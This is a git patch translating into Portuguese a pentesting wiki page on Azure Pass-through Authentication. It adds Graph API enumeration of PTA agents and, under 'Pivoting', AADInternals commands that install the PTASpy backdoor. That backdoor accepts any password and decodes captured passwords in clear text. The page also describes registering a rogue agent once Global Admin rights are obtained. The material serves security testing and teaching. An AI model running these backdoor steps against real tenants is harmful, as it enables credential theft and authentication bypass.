From 5633e8b11546ab2f81f1a2b154be15ff063a8395 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 11:26:16 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- .../pta-pass-through-authentication.md | 56 +++++++++++++++---- 1 file changed, 44 insertions(+), 12 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 494ddb04f..7146a234d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## Informações Básicas -[Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A Autenticação Pass-through do Azure Active Directory (Azure AD) permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Azure AD, este recurso **valida as senhas dos usuários diretamente contra seu Active Directory local**. +[Dos docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) A autenticação pass-through do Microsoft Entra permite que seus usuários **façam login em aplicativos tanto locais quanto baseados em nuvem usando as mesmas senhas**. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Microsoft Entra ID, esse recurso valida as senhas dos usuários diretamente contra seu Active Directory local. -Na PTA, as **identidades** são **sincronizadas**, mas as **senhas** **não** são, como no PHS. +No PTA, **identidades** são **sincronizadas**, mas **senhas não são**, como no PHS. A autenticação é validada no AD local e a comunicação com a nuvem é feita por um **agente de autenticação** executando em um **servidor local** (não precisa estar no DC local). @@ -23,19 +23,53 @@ A autenticação é validada no AD local e a comunicação com a nuvem é feita > Se um atacante **comprometer** o **PTA**, ele pode **ver** todas as **credenciais** da fila (em **texto claro**).\ > Ele também pode **validar qualquer credencial** para o AzureAD (ataque semelhante ao Skeleton key). -### Local -> nuvem +### Enumeração -Se você tiver acesso **administrativo** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma porta dos fundos** que **validará TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação): +Do Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +Verifique se o agente está em execução no servidor local: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +Se você tiver acesso **admin** ao **servidor Azure AD Connect** com o **agente PTA** em execução, você pode usar o módulo **AADInternals** para **inserir uma backdoor** que irá **validar TODAS as senhas** introduzidas (então todas as senhas serão válidas para autenticação): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > Se a **instalação falhar**, isso provavelmente se deve à falta dos [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Também é possível **ver as senhas em texto claro enviadas para o agente PTA** usando o seguinte cmdlet na máquina onde o backdoor anterior foi instalado: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` Este backdoor irá: - Criar uma pasta oculta `C:\PTASpy` @@ -45,10 +79,8 @@ Este backdoor irá: > [!NOTE] > Quando o serviço AzureADConnectAuthenticationAgent é reiniciado, o PTASpy é “descarregado” e deve ser reinstalado. -### Cloud -> On-Prem - > [!CAUTION] -> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** configurando-o em uma **máquina controlada pelo atacante**. Uma vez que o agente está **configurado**, podemos **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.** +> Após obter **privilégios GA** na nuvem, é possível **registrar um novo agente PTA** e **repetir** os **passos anteriores** para **autenticar usando qualquer senha** e também, **obter as senhas em texto claro.** ### Seamless SSO